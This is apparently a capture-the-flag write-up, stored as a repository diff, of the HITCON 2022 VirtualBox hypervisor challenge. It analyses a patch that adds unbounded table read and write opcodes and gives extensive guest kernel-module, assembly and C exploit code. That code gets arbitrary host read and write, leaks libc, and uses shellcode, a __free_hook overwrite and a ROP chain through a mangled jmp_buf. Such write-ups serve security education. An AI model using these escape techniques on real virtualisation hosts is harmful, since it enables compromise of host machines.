I then searched for VINF_IOM_R3_MMIO_READ in the codebase and found that it was used in the code for implementing MMIO for the E1000 network card, which was fortunately used for the VM:

+ +
/**
+ * Read handler for EEPROM/Flash Control/Data register.
+ *
+ * Lower 4 bits come from EEPROM device if EEPROM access has been granted.
+ *
+ * @returns VBox status code.
+ *
+ * @param   pThis       The device state structure.
+ * @param   offset      Register offset in memory-mapped frame.
+ * @param   index       Register index in register array.
+ * @param   mask        Used to implement partial reads (8 and 16-bit).
+ * @thread  EMT
+ */
+static int e1kRegReadEECD(PPDMDEVINS pDevIns, PE1KSTATE pThis, uint32_t offset, uint32_t index, uint32_t *pu32Value)
+{
+#ifdef IN_RING3
+    uint32_t value = 0; /* Get rid of false positive in parfait. */
+    int      rc = e1kRegReadDefault(pDevIns, pThis, offset, index, &value);
+    if (RT_SUCCESS(rc))
+    {
+        if ((value & EECD_EE_GNT) || pThis->eChip == E1K_CHIP_82543GC)
+        {
+            /* Note: 82543GC does not need to request EEPROM access */
+            /* Access to EEPROM granted -- get 4-wire bits to EEPROM device */
+            STAM_PROFILE_ADV_START(&pThis->StatEEPROMRead, a);
+            PE1KSTATECC pThisCC = PDMDEVINS_2_DATA_CC(pDevIns, PE1KSTATECC);
+            value |= pThisCC->eeprom.read();
+            STAM_PROFILE_ADV_STOP(&pThis->StatEEPROMRead, a);
+        }
+        *pu32Value = value;
+    }
+
+    return rc;
+#else /* !IN_RING3 */
+    RT_NOREF_PV(pDevIns); RT_NOREF_PV(pThis); RT_NOREF_PV(offset); RT_NOREF_PV(index); RT_NOREF_PV(pu32Value);
+    return VINF_IOM_R3_MMIO_READ;
+#endif /* !IN_RING3 */
+}
+
+ +

In particular, it looks like if we are currently executing in R0 (which we are by default after a VM exit), then it would return VINF_IOM_R3_MMIO_READ, and hence return to R3 and execute the instruction responsible for the EECD MMIO read to be emulated. +The specific register which this function is a callback for, is at +0x10 of the E1000 MMIO base.

+ +

Alone, this would have not helped much, since it turns out to still only emulate exactly one instruction. +However, we thought maybe now too many VM exits would lead to more instructions being emulated. +Unfortunately, we still could not get that part to work.

+ +

While scouring through the IEM code, the description of iemExecOneInner seemed interesting:

+ +
/*
+ * @return  Strict VBox status code.
+ * @param   pVCpu       The cross context virtual CPU structure of the calling EMT.
+ * @param   fExecuteInhibit     If set, execute the instruction following CLI,
+ *                      POP SS and MOV SS,GR.
+ * @param   pszFunction The calling function name.
+ */
+DECLINLINE(VBOXSTRICTRC) iemExecOneInner(PVMCPUCC pVCpu, bool fExecuteInhibit, const char *pszFunction)
+
+ +

If the fExecuteInhibit flag is set, the instruction following a cli, pop ss or mov ss, reg instruction is executed. What if we place our target instruction right after?
+By default, these instructions do not cause a VM exit, they are executed like other normal instructions in HM. Looking into the mov ss, reg implementation in IEM, it seemed that loading from memory is also supported:

+ +
/**
+ * @opcode      0x8e
+ */
+FNIEMOP_DEF(iemOp_mov_Sw_Ev)
+{
+    IEMOP_MNEMONIC(mov_Sw_Ev, "mov Sw,Ev");
+
+    uint8_t bRm; IEM_OPCODE_GET_NEXT_U8(&bRm);
+    ...
+
+    /*
+     * If rm is denoting a register, no more instruction bytes.
+     */
+    if ((bRm & X86_MODRM_MOD_MASK) == (3 << X86_MODRM_MOD_SHIFT))
+    {
+        ...
+    }
+    else
+    {
+        /*
+         * We're loading the register from memory.  The access is word sized
+         * regardless of operand size prefixes.
+         */
+        IEM_MC_BEGIN(2, 1);
+        IEM_MC_ARG_CONST(uint8_t, iSRegArg, iSegReg, 0);
+        IEM_MC_ARG(uint16_t,      u16Value,          1);
+        IEM_MC_LOCAL(RTGCPTR, GCPtrEffDst);
+        IEM_MC_CALC_RM_EFF_ADDR(GCPtrEffDst, bRm, 0);
+        IEMOP_HLP_DONE_DECODING_NO_LOCK_PREFIX();
+        IEM_MC_FETCH_MEM_U16(u16Value, pVCpu->iem.s.iEffSeg, GCPtrEffDst);
+        IEM_MC_CALL_CIMPL_2(iemCImpl_load_SReg, iSRegArg, u16Value);
+        IEM_MC_END();
+    }
+    return VINF_SUCCESS;
+}
+
+ +

By combining all findings so far, it looked like we could finally trigger the custom IEM instructions! +If mov ss, reg was causing an MMIO access to the E1000 device at the offset of the EECD register, then it would cause the instruction to be emulated! +We can then place our target instruction immediately after mov ss, reg and it will also be emulated! +Some initial testing seemed to confirm this hypothesis, but it also seemed to immediately crash after the mov ss, reg instruction. +

+ +

The iemCImpl_LoadSReg function handles actually loading and parsing the descriptor we’re moving into SS. As the value moved there seems to be actually checked for validity, we’ll need to provide a valid value. This can be done either by controlling the value we load from MMIO somehow and having it be valid for SS, or by setting up a valid entry in the Global Descriptor Table (GDT).
+The value returned from reading the EECD register is 0x140. +We first tried to look for another register that would have similar properties (i.e. return VINF_IOM_R3_MMIO_READ) and also we could write to, but could not find anything. +Hence, we decided to create a fake Global Descriptor Table Register which points at our own array of GDTs, where entry 0x140 was valid.

+ +

GDTR structure:

+ +

GDTR format

+ +

Segment Selector structure:

+ +

Segment Selector format

+ +

The segment selector’s index is bit 3 through 15, so we shift our 0x140 right by 3 to get the index, which is 40. We then memcpy the old GDT entries to our own array and copy the one at the current SS index to index 40, which should do the trick.

+ +

Now that we’ve been enlightened about all this, it is possible to finally reach the vulnerable instructions in IEM.

+ +

The Black Gate Opens

+ +

At last, we have arrived at exploitation.
+The first action item is to upgrade our current primitives to arbitrary read and write. We have full control over the 64-bit index, achieving arbitrary read and write is just a matter of leaking the address of Table.
+In order to get the address of Table, we simply leaked a pointer to a string in the VBoxVMM.so, calculate its load base and finally add the Table offset to it.

+ +

While doing some debugging, we noticed there was a page mapped as RWX. To get RIP control, we leak fgets from the GOT and calculate the base of libc and ld (through dl_find_dso in libc’s GOT). We then simply write shellcode to the RWX page and overwrite __free_hook in libc to eventually jump there and get code execution.

+ +
.intel_syntax noprefix
+
+; rdi = idx, rsi = mmio, rdx = curr_gdtr, rcx = fake_gdtr
+.global read_table_asm
+read_table_asm:
+    push rbx
+    sgdt [rdx]
+    lgdt [rcx]
+    mov rbx, rdi
+    mov ss, [rsi]
+    .byte 0xf, 0x25
+    mov rbx, 0x18
+    mov ss, rbx
+    lgdt [rdx]
+    pop rbx
+    ret
+
+; rdi = idx, rsi = mmio, rdx = curr_gdtr, rcx = fake_gdtr, r8 = val
+.global write_table_asm
+write_table_asm:
+    push rbx
+    sgdt [rdx]
+    lgdt [rcx]
+    mov rbx, rdi
+    mov rax, r8
+    mov ss, [rsi]
+    .byte 0xf, 0x27
+    mov rbx, 0x18
+    mov ss, rbx
+    lgdt [rdx]
+    pop rbx
+    ret
+
+ +
#include <linux/module.h>	/* Needed by all modules */
+#include <linux/kernel.h>	/* Needed for KERN_INFO */
+
+#include <linux/types.h>
+#include <linux/delay.h>
+
+#include <linux/vmalloc.h>
+#include <asm/io.h>
+#include <asm/msr.h>
+#include <asm/desc.h>
+#include <stdalign.h>
+
+#include "offsets.h"
+
+#define KERN_WARN KERN_WARNING
+
+typedef struct gdtr {
+    uint16_t limit;
+    uint64_t base;
+} __attribute__((packed, aligned(1))) gdtr_t;
+
+typedef uint64_t gdt_entry;
+
+gdtr_t fake_gdtr = {};
+gdt_entry fake_gdts[0x100];
+
+uint64_t mmio_addr = 0;
+static uint64_t table_addr = 0;
+static uint64_t libc_base = 0;
+
+extern uint64_t read_table_asm(uint64_t idx, uint64_t mmio, uint64_t curr_gdtr, uint64_t fake_gdtr);
+extern uint64_t write_table_asm(uint64_t idx, uint64_t mmio, uint64_t curr_gdtr, uint64_t fake_gdtr, uint64_t val);
+
+__attribute__((always_inline))
+static inline uint64_t read_table(uint64_t idx)
+{
+    uint64_t ret;
+    gdtr_t curr_gdtr = {};
+    uint64_t curr_gdtr_ptr = (uint64_t)&curr_gdtr;
+    uint64_t fake_ptr = (uint64_t)&fake_gdtr;
+    ret = read_table_asm(idx, mmio_addr, curr_gdtr_ptr, fake_ptr);
+    return ret;
+}
+
+__attribute__((always_inline))
+static inline void write_table(uint64_t val, uint64_t idx)
+{
+    gdtr_t curr_gdtr = {};
+    uint64_t curr_gdtr_ptr = (uint64_t)&curr_gdtr;
+    uint64_t fake_ptr = (uint64_t)&fake_gdtr;
+    (void)write_table_asm(idx, mmio_addr, curr_gdtr_ptr, fake_ptr, val);
+}
+
+__attribute__((always_inline))
+static inline uint64_t rel_read64(uint64_t offset)
+{
+    return read_table(offset / 8);
+}
+
+__attribute__((always_inline))
+static inline void rel_write64(uint64_t offset, uint64_t val)
+{
+    return write_table(val, offset / 8);
+}
+
+
+__attribute__((always_inline))
+static inline uint64_t addr_to_offset(uint64_t addr)
+{
+    uint64_t offset = addr - table_addr;
+    return offset;
+}
+
+__attribute__((always_inline))
+static inline uint64_t arb_read64(uint64_t addr)
+{
+    uint64_t offset = addr_to_offset(addr);
+    return rel_read64(offset);
+}
+
+__attribute__((always_inline))
+static inline void arb_write64(uint64_t addr, uint64_t val)
+{
+    uint64_t offset = addr_to_offset(addr);
+    rel_write64(offset, val);
+}
+
+__attribute__((always_inline))
+static inline void arb_write(uint64_t addr, void *buf, size_t num)
+{
+    size_t i = 0;
+    uint64_t *buf_vals = (uint64_t *)buf;
+    for (i = 0; i < ((num+7) / 8); i++) {
+        arb_write64(addr + i*8, buf_vals[i]);
+    }
+}
+
+void pwn(void)
+{
+    printk(KERN_WARN "Entering pwn (0x%llx)\n", &pwn);
+
+    const uint64_t str_table_off = str_addr_binary_off - table_binary_off;
+    const uint64_t e1000_phys = 0xf0000000;
+
+    uint8_t *e1000_virt = (uint8_t *)(ioremap(e1000_phys, 4096));
+    volatile uint32_t *eeprom_addr = (uint32_t *)(e1000_virt+0x10);
+
+    uint32_t init_val = *eeprom_addr;
+    mmio_addr = (uint64_t)eeprom_addr;
+
+    printk(KERN_WARN "new ss val: 0x%lx\n", init_val);
+
+    gdtr_t curr_gdtr = {};
+
+    asm volatile(
+        "sgdt %0"
+        : "=m"(curr_gdtr) :: "memory"
+    );
+
+    printk(KERN_WARN "curr gdtr: 0x%llx (0x%x)\n", curr_gdtr.base, curr_gdtr.limit);
+
+    size_t curr_size = curr_gdtr.limit+1;
+    memset(fake_gdts, 0, sizeof(fake_gdts));
+    memcpy(fake_gdts, curr_gdtr.base, curr_size);
+
+    uint32_t new_ss_idx = init_val / 8;
+
+    fake_gdtr.base = (uint64_t)fake_gdts;
+    fake_gdtr.limit = (new_ss_idx+1) * 8 - 1;
+    uint32_t old_ss_idx = 0x18 / 8;
+    fake_gdts[new_ss_idx] = fake_gdts[old_ss_idx];
+    printk(KERN_WARN "fake gdtr: 0x%llx (0x%x)\n", fake_gdtr.base, fake_gdtr.limit);
+
+    uint64_t fgets_addr = rel_read64(fgets_got_off - table_binary_off);
+    libc_base = fgets_addr - fgets_libc_off;
+    uint64_t free_hook_addr = libc_base + freehook_libc_off;
+    printk(KERN_WARN "fgets @ 0x%llx\n", fgets_addr);
+    printk(KERN_WARN "libc @ 0x%llx\n", libc_base);
+    printk(KERN_WARN "free_hook @ 0x%llx\n", free_hook_addr);
+
+    uint64_t str_addr = rel_read64(str_table_off);
+    uint64_t binary_addr = str_addr - str_binary_off;
+    table_addr = binary_addr + table_binary_off;
+    printk(KERN_WARN "str @ 0x%llx\n", str_addr);
+    printk(KERN_WARN "binary @ 0x%llx\n", binary_addr);
+    printk(KERN_WARN "table @ 0x%llx\n", table_addr);
+
+    uint64_t dl_find_dso_addr = arb_read64(libc_base + dl_find_dso_got);
+    uint64_t ld_base = dl_find_dso_addr - dl_find_dso_off;
+    uint64_t rwx_addr = rwx_offset + ld_base;
+    printk(KERN_WARN "dl_find_dso_addr @ 0x%llx\n", dl_find_dso_addr);
+    printk(KERN_WARN "ld.so @ 0x%llx\n", ld_base);
+    printk(KERN_WARN "rwx @ 0x%llx\n", rwx_addr);
+
+    arb_write(rwx_addr, shellcode_pwn, sizeof(shellcode_pwn));
+    printk(KERN_WARN "wrote shellcode to rwx region!\n");
+
+    msleep(1000);
+
+    arb_write64(free_hook_addr, rwx_addr);
+    return;
+}
+
+int init_module(void)
+{
+    pwn();
+
+	return 0;
+}
+
+void cleanup_module(void)
+{
+}
+
+ +

+ +

But why is there an RWX page at all? At a first glance, this only seemed to happen with the build used by the challenge authors. In what way does their build differ from our local testing builds, that it would map a page as RWX?
+The difference is the --disable-hardening flag we used, to make running the VirtualBox binaries from a location different than /opt/VirtualBox possible. When this flag is not specified, VirtualBox will call SUPR3HardenedMain from main.

+
 * This function will perform the integrity checks of the VirtualBox
+ * installation, open the support driver, open the root service (later),
+ * and load the DLL corresponding to \a pszProgName and execute its main
+ * function.
+
+ +

According to its description, the hardened main will do some integrity checks. Eventually, the code will call supR3HardenedPosixInit:

+
DECLHIDDEN(void) supR3HardenedPosixInit(void)
+{
+    for (unsigned i = 0; i < RT_ELEMENTS(g_aHooks); i++)
+    {
+        PCSUPHARDENEDPOSIXHOOK pHook = &g_aHooks[i];
+        int rc = supR3HardenedMainPosixHookOne(pHook->pszSymbol, pHook->pfnHook, pHook->ppfnRealResume, pHook->pfnResolve);
+        if (RT_FAILURE(rc))
+            supR3HardenedFatalMsg("supR3HardenedPosixInit", kSupInitOp_Integrity, rc,
+                                  "Failed to hook the %s interface", pHook->pszSymbol);
+    }
+}
+
+ +

The only function registered to be hooked in g_aHooks is dlopen. The hooking is implemented in supR3HardenedMainPosixHookOne, dlopen is patched to jump to a callback function instead. Subsequently, a page with RWX permissions is allocated for the hook’s trampoline. The permissions for this page are not restricted after everything is in place.

+ +

This is a nice example of how a security feature, in this case restricting which libraries are allowed to be loaded, can result in being considerably more easy to exploit.

+ +

The Scouring of the Threads

+ +

Before we noticed the RWX page, we went down a deep rabbit hole of how to gain shellcode execution in VirtualBox. +Although we ended up not finishing this part during the CTF, it can be interesting, in case VirtualBox ever ends up fixing the hooked page.

+ +

Since we had arbitrary read/write, it should have been relatively easy to get full code execution. +However, unlike a normal pwn challenge, simply overwriting __free_hook with system, then causing free("/bin/sh") would not be so easy. +It seemed very difficult if not straight up impossible to control the contents of any allocation. +So while it would be easy to get RIP control (e.g. __free_hook or any GOT symbol), it would be hard to gain meaningful control, as none of the other registers would likely have any control. +At this point, we noticed that VBoxVMM.so imported setjmp and longjmp. +It seems that there is a pointer to a jmp_buf inside the virtual CPU struct that is filled by setjmp at the beginning of IEMExecLots or iemExecOneInner. +Our plan was, to modify the pointer to jmp_buf to point to memory we control, then cause the longjmp to be hit. +This way, we could control both RIP and RSP, allowing us to ROP!

+ +

Naively, we thought that the virtual CPU struct was at a fixed offset from libc. +Using that, we managed to overwrite the pointer to jmp_buf and then we tried to cause the longjmp. +It seemed a simple mov $0, (0) (i.e. causing a fault) would be enough. +Currently, we are only executing at most two instructions with IEM. +However, the jmp_buf pointer was reset at the beginning of every iemExecOneInner. +Therefore, we needed to be able to cause multiple instructions (of our choosing) to be emulated with IEM. +Thankfully, the global VM struct has a flag called fIemExecutesAll that causes all instructions to be emulated. +Hence, we simply write 1 to that flag and the next time we enter IEM, we will not leave it again.

+ +

With this, we finally managed to trigger the call to longjmp with the first argument (i.e. the pointer to jmp_buf) controlled by us. +However, we then encountered the next roadblock. With version 2.31 of glibc, it seems that RIP, RSP and RBP of the jmp_buf struct are “encrypted” with a secret value. +Fortunately, this value is stored in the TLS section and since it is at a constant offset from libc, we were able to just read the value. +Finally, we managed to get RIP and RSP control, allowing us to ROP. +We built a ROP chain that would call mprotect to change a rw memory region (which we previously filled with shellcode) to rwx.

+ +

Unfortunately, when we tried to run the full exploit, we noticed that the address of the virtual CPU struct was not actually at a fixed offset from libc. +During the CTF, it was around this point where we noticed the existing rwx section and hence stopped pursuing this exploitation path. +Still, how could you proceed to exploit this reliably? +First we have to find a way to reliably get a pointer to the virtual CPU struct. +By reading through the code, we noticed that the emulation thread would store a pointer to the virtual CPU struct in its TLS section. +Therefore, we had to find a way to leak the TLS address of the emulation thread. +Scouring glibc, we found out that there is a global linked list of all threads created by libpthread. +Furthermore, the wrappers around libpthread in use by VirtualBox, would save the name of the thread in an allocation, which was findable by reading the arg field of the struct pthread. +Combining all of this, we were able to iterate through all threads and find the ones responsible for emulating a virtual CPU:

+ +
void pwn(void)
+{
+    ...
+
+    uint64_t pthread_freeres_addr = arb_read64(libc_base + libpthread_got);
+    print_addr(pthread_freeres_addr);
+
+    uint64_t pthread_base = pthread_freeres_addr - libpthread_off;
+    print_addr(pthread_base);
+
+    uint64_t stack_used = pthread_base + stack_used_off;
+    print_addr(stack_used);
+
+    const uint64_t start_routine_off = 1600;
+    const uint64_t fn_cookie_off = 0x30;
+    const uint64_t list_off = 704;
+    const uint64_t tid_off = 720;
+    const uint64_t arg_off = 1608;
+    const uint64_t name_off = 0x8e0;
+
+    uint64_t tls_bases[2] = {0, 0};
+
+    printk(KERN_WARN "Iterating over all threads...\n");
+    uint64_t curr_list = arb_read64(stack_used);
+
+    while (curr_list != stack_used) {
+        uint64_t thread_ptr = curr_list - list_off;
+        uint64_t tid = arb_read64(thread_ptr + tid_off) & 0xffffffff;
+        uint64_t start_routine = arb_read64(thread_ptr + start_routine_off);
+        uint64_t next_list = arb_read64(curr_list);
+        uint64_t arg = arb_read64(thread_ptr + arg_off);
+        uint64_t name = arb_read64(arg + name_off);
+        printk(KERN_WARN "Thread %d @ 0x%llx, start @ 0x%llx (0x%llx), next @ 0x%llx\n", tid, thread_ptr, start_routine, arg, next_list);
+        if (name == 0x0000302d544d45) {
+            // EMT-0
+            tls_bases[0] = thread_ptr;
+            printk(KERN_WARN "This was EMT-0!\n\n");
+        }
+        else if (name == 0x0000312d544d45) {
+            // EMT-1
+            tls_bases[1] = thread_ptr;
+            printk(KERN_WARN "This was EMT-1!\n\n");
+        }
+        curr_list = next_list;
+    }
+
+    ...
+}
+
+ +

We can then follow some pointers and get some more of them:

+ +
uint64_t get_vcpu_addr(uint64_t tls_base) {
+     uint64_t pUVCpu_addr = arb_read64(tls_base + 0x358);
+
+    print_addr(pUVCpu_addr);
+
+    uint64_t pUVM_addr = arb_read64(pUVCpu_addr);
+    uint64_t UVM_magic = arb_read64(pUVM_addr);
+    print_addr(UVM_magic);
+    uint64_t pVM_addr = arb_read64(pUVCpu_addr + 8);
+    uint64_t pVCpu_addr = arb_read64(pUVCpu_addr + 16);
+
+    print_addr(pUVM_addr);
+    print_addr(pVM_addr);
+    print_addr(pVCpu_addr);
+
+    uint64_t vcpu_addr = pVCpu_addr;
+
+    printk(KERN_WARN "Found vcpu @ 0x%llx\n", vcpu_addr);
+    return vcpu_addr;
+}
+
+...
+
+void pwn(void)
+{
+    ...
+
+    uint64_t vcpu_addr = get_vcpu_addr(tls_bases[0]);
+    uint64_t vcpu2_addr = get_vcpu_addr(tls_bases[1]);
+
+    ...
+}
+
+ +

Next we prepare our jmp_buf, the ROP chain and shellcode:

+ +
void pwn(void)
+{
+    ...
+
+    uint64_t writable_memory = vcpu_addr - 0x2000;
+    print_addr(writable_memory);
+    jmp_buf_addr = writable_memory;
+    uint64_t fake_stack = writable_memory + 0x100;
+    uint64_t shellcode_addr = writable_memory + 0x1000;
+
+    uint64_t fn_cookie = arb_read64(tls_bases[0] + fn_cookie_off);
+
+    #define mangle_ptr(ptr) (_rotl((ptr ^ fn_cookie), 0x11))
+
+    printk(KERN_WARN "Preparing jmp_buf with cookie: 0x%llx\n", fn_cookie);
+
+    uint64_t rop_buf[] = {
+        shellcode_addr, // rdi
+        pop_rsi_gadget_off + libc_base,
+        0x1000, // rsi
+        pop_rdx_gadget_off + libc_base,
+        0x7,
+        mprotect_libc_off + libc_base,
+        shellcode_addr
+    };
+
+    struct __jmp_buf jumper = {};
+    memset(&jumper, 0x42, sizeof(jumper));
+    jumper.__rip = mangle_ptr(pop_rdi_gadget_off + libc_base);
+    jumper.__rsp = mangle_ptr(fake_stack);
+    jumper.__rbp = mangle_ptr(fake_stack);
+
+    printk(KERN_WARN "Writing jmp_buf\n");
+    arb_write(jmp_buf_addr, &jumper, sizeof(jumper));
+
+    printk(KERN_WARN "Writing rop_buf\n");
+    arb_write(fake_stack, rop_buf, sizeof(rop_buf));
+
+    printk(KERN_WARN "Writing shellcode_pwn\n");
+    arb_write(shellcode_addr, shellcode_pwn, sizeof(shellcode_pwn));
+
+    ...
+}
+
+ +

Finally, we turn fIemExecutesAll on and overwrite the pointer to jmp_buf:

+ +
void pwn(void)
+{
+    ...
+
+    vcpu_jmp_buf = vcpu_addr + 0x738;
+    vcpu2_jmp_buf = vcpu2_addr + 0x738;
+
+    uint64_t vm_addr = arb_read64(vcpu_addr + 0x4880);
+    // overwrite fIemExecutesAll
+    arb_write64(vm_addr + 0xb000, 1 | (1 << 8));
+
+    // you will see later
+    do_finalize();
+    // overwrite jmp_buf pointer
+    asm volatile (
+        ".byte 0x0f, 0x27\n"
+        "mov %%rcx, %%rbx\n"
+        ".byte 0x0f, 0x27\n"
+        "mov $0, (0)"
+        :: "a" (jmp_buf_addr), "b" (addr_to_offset(vcpu_jmp_buf) >> 3), "c" (addr_to_offset(vcpu2_jmp_buf) >> 3) : "memory"
+    );
+
+    ...
+}
+
+ +

It seems that this was still not enough and with some debugging we found out that it was still not switching to executing everything under IEM. +Somebody figured out, that executin a ud2 instruction while under IEM would then cause the reschedule to happen and hence executing everything under IEM. +This is what do_finalize does:

+ +
__attribute__((always_inline))
+static inline uint64_t do_finalize(void)
+{
+    uint64_t idx = 0;
+    uint64_t ret;
+    gdtr_t curr_gdtr = {};
+    uint64_t curr_gdtr_ptr = (uint64_t)&curr_gdtr;
+    uint64_t fake_ptr = (uint64_t)&fake_gdtr;
+    ret = finalize(idx, mmio_addr, curr_gdtr_ptr, fake_ptr);
+    return ret;
+}
+
+ +

And finalize:

+ +
; rdi = idx, rsi = mmio, rdx = curr_gdtr, rcx = fake_gdtr
+.global finalize
+finalize:
+push rbx
+sgdt [rdx]
+lgdt [rcx]
+mov rbx, rdi
+mov ss, [rsi]
+ud2 ; will cause a fault to be raised and hence transition to always IEM
+mov rbx, 0x18
+mov ss, rbx
+lgdt [rdx]
+pop rbx
+ret
+
+ +

Lastly, we install a custom IDT (which is similar to the GDT) to have a custom handler for when the ud2 is executed:

+ +
#include <asm/desc.h>
+
+gdtr_t fake_idtr = {};
+gdt_entry fake_idts[0x1000];
+
+...
+
+void pwn(void)
+{
+    ...
+
+    gdtr_t lidt = {};
+    asm volatile(
+        "sidt %0"
+        : "=m"(lidt) :: "memory"
+    );
+
+    size_t lit_size = lidt.limit + 1;
+    memset(fake_idts, 0, sizeof(fake_idts));
+    memcpy(fake_idts, lidt.base, lit_size);
+
+    set_bringup_idt_handler((void*)fake_idts, 6, int50_handler);
+    fake_idtr.base = fake_idts;
+    fake_idtr.limit = lidt.limit;
+
+    asm volatile(
+        "lidt %0"
+        :: "m"(fake_idtr) : "memory"
+    );
+
+    ...
+
+}
+
+__attribute__((naked))
+void int50_handler(void)
+{
+    asm volatile (
+        ".byte 0x0f, 0x27\n"
+        "mov %%rcx, %%rbx\n"
+        ".byte 0x0f, 0x27\n"
+        "mov $0, (0)"
+        :: "a" (jmp_buf_addr), "b" (addr_to_offset(vcpu_jmp_buf) >> 3), "c" (addr_to_offset(vcpu2_jmp_buf) >> 3) : "memory"
+    );
+}
+
+ +

After all of this, we finally get our shellcode execution without having to rely on an RWX page provided to us by VirtualBox :).

+ +

Table of Contents

+ + + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2022/pwn/fourchain-hv.md b/HITCON-2022/pwn/fourchain-hv.md new file mode 100755 index 0000000..93da22d --- /dev/null +++ b/HITCON-2022/pwn/fourchain-hv.md @@ -0,0 +1,884 @@ +# Fourchain - Hypervisor + +**Authors**: [busdma](https://twitter.com/busdma), [gallileo](https://twitter.com/galli_leo_) + +**Tags**: pwn, virtualbox + +**Points**: 450 + +>Welcome to the Virtualbox World~~ +> +>ssh -p 54321 vbox@104.197.76.244 +>password: vbox +> +>Resources are limited, please work on local first. +>Author: Billy +> +>URLs +>https://storage.googleapis.com/hitconctf2022/hypervisor-575472edcd113e18e3939bd17c9416517f1646ec.zip + +## Patch Analysis + +The challenge author provided the following patch: + +```diff +diff -Naur VirtualBox-6.1.40/src/VBox/VMM/VMMAll/IEMAllInstructions.cpp.h Chall/src/VBox/VMM/VMMAll/IEMAllInstructions.cpp.h +--- VirtualBox-6.1.40/src/VBox/VMM/VMMAll/IEMAllInstructions.cpp.h 2022-10-11 21:51:54.000000000 +0800 ++++ Chall/src/VBox/VMM/VMMAll/IEMAllInstructions.cpp.h 2022-11-02 19:18:19.196674293 +0800 +@@ -20,7 +20,7 @@ + * Global Variables * + *******************************************************************************/ + extern const PFNIEMOP g_apfnOneByteMap[256]; /* not static since we need to forward declare it. */ +- ++static uint64_t Table[0x10]; + #ifdef _MSC_VER + # pragma warning(push) + # pragma warning(disable: 4702) /* Unreachable code like return in iemOp_Grp6_lldt. */ +@@ -538,6 +538,40 @@ + return IEMOP_RAISE_INVALID_OPCODE(); + } + ++FNIEMOP_DEF(iemOp_ReadTable) ++{ ++ if (pVCpu->iem.s.enmCpuMode == IEMMODE_64BIT && pVCpu->iem.s.uCpl == 0 ) ++ { ++ IEM_MC_BEGIN(0, 2); ++ IEM_MC_LOCAL(uint64_t, u64Idx); ++ IEM_MC_FETCH_GREG_U64(u64Idx, X86_GREG_xBX); ++ IEM_MC_LOCAL_CONST(uint64_t, u64Value,/*=*/ Table[u64Idx]); ++ IEM_MC_STORE_GREG_U64(X86_GREG_xAX, u64Value); ++ IEM_MC_ADVANCE_RIP(); ++ IEM_MC_END(); ++ return VINF_SUCCESS; ++ } ++ return IEMOP_RAISE_INVALID_OPCODE(); ++} ++ ++ ++FNIEMOP_DEF(iemOp_WriteTable) ++{ ++ if (pVCpu->iem.s.enmCpuMode == IEMMODE_64BIT && pVCpu->iem.s.uCpl == 0 ) ++ { ++ IEM_MC_BEGIN(0, 2); ++ IEM_MC_LOCAL(uint64_t, u64Idx); ++ IEM_MC_FETCH_GREG_U64(u64Idx, X86_GREG_xBX); ++ IEM_MC_LOCAL(uint64_t, u64Value); ++ IEM_MC_FETCH_GREG_U64(u64Value, X86_GREG_xAX); ++ Table[u64Idx] = u64Value; ++ IEM_MC_ADVANCE_RIP(); ++ IEM_MC_END(); ++ return VINF_SUCCESS; ++ } ++ return IEMOP_RAISE_INVALID_OPCODE(); ++} ++ + + /** Invalid with RM byte . */ + FNIEMOPRM_DEF(iemOp_InvalidWithRM) +diff -Naur VirtualBox-6.1.40/src/VBox/VMM/VMMAll/IEMAllInstructionsTwoByte0f.cpp.h Chall/src/VBox/VMM/VMMAll/IEMAllInstructionsTwoByte0f.cpp.h +--- VirtualBox-6.1.40/src/VBox/VMM/VMMAll/IEMAllInstructionsTwoByte0f.cpp.h 2022-10-11 21:51:55.000000000 +0800 ++++ Chall/src/VBox/VMM/VMMAll/IEMAllInstructionsTwoByte0f.cpp.h 2022-11-02 16:18:35.752320732 +0800 +@@ -9539,9 +9539,9 @@ + /* 0x22 */ iemOp_mov_Cd_Rd, iemOp_mov_Cd_Rd, iemOp_mov_Cd_Rd, iemOp_mov_Cd_Rd, + /* 0x23 */ iemOp_mov_Dd_Rd, iemOp_mov_Dd_Rd, iemOp_mov_Dd_Rd, iemOp_mov_Dd_Rd, + /* 0x24 */ iemOp_mov_Rd_Td, iemOp_mov_Rd_Td, iemOp_mov_Rd_Td, iemOp_mov_Rd_Td, +- /* 0x25 */ iemOp_Invalid, iemOp_Invalid, iemOp_Invalid, iemOp_Invalid, ++ /* 0x25 */ iemOp_ReadTable, iemOp_Invalid, iemOp_Invalid, iemOp_Invalid, + /* 0x26 */ iemOp_mov_Td_Rd, iemOp_mov_Td_Rd, iemOp_mov_Td_Rd, iemOp_mov_Td_Rd, +- /* 0x27 */ iemOp_Invalid, iemOp_Invalid, iemOp_Invalid, iemOp_Invalid, ++ /* 0x27 */ iemOp_WriteTable, iemOp_Invalid, iemOp_Invalid, iemOp_Invalid, + /* 0x28 */ iemOp_movaps_Vps_Wps, iemOp_movapd_Vpd_Wpd, iemOp_InvalidNeedRM, iemOp_InvalidNeedRM, + /* 0x29 */ iemOp_movaps_Wps_Vps, iemOp_movapd_Wpd_Vpd, iemOp_InvalidNeedRM, iemOp_InvalidNeedRM, + /* 0x2a */ iemOp_cvtpi2ps_Vps_Qpi, iemOp_cvtpi2pd_Vpd_Qpi, iemOp_cvtsi2ss_Vss_Ey, iemOp_cvtsi2sd_Vsd_Ey, +``` + +The patch adds a global uint64_t array `Table` and two new instructions to the two-byte IEM opcode map. +The `ReadTable` instruction (opcode `0x0f 0x25`) reads a 64-bit value from the array (`RAX := Table[RBX];`). The `WriteTable` instruction (opcode `0x0f 0x27`) writes a 64-bit value to the array (`Table[RBX] := RAX;`). Both instructions are only allowed to execute in 64-bit mode and when CPL is 0 (ring zero/kernel). +The `Table` indexing is not bounded. This provides us with an **Out-Of-Bounds read and write primitive**, relative to `Table`. + + +## Of the VirtualBox Architecture + +Unsurprisingly, VirtualBox is made up of many different components. This section contains a brief description of the components relevant to this writeup. VirtualBox aficionados can most likely skip this part. + +Virtualbox defines several execution contexts, the main ones being Guest Context (GC) and Host Context (HC). + +![VirtualBox Architecture](./img/vbox_arch.svg) + +The core of VirtualBox (i.e. the VMM, Virtual Machine Monitor) runs in HC, under the host operating system. The guest, our entrypoint for this challenge, runs in the GC. Since the added instructions are valid only when the virtual CPU has a CPL of 0, a kernel module must be prepared and inserted into the guest kernel. This is feasible, we have quasi-complete control over the guest. + +The HC VMM code has a kernel (R0) and a user (R3) part. This split can also be seen in the source code structure: the VMM folder has a VMMR0 and VMMR3 folder for the kernel and user part, respectively. The VMMAll folder contains code common to both. +Execution of a VM starts in the R3 Execution Monitor (EM) component, with a call to the `EMR3ExecuteVM` 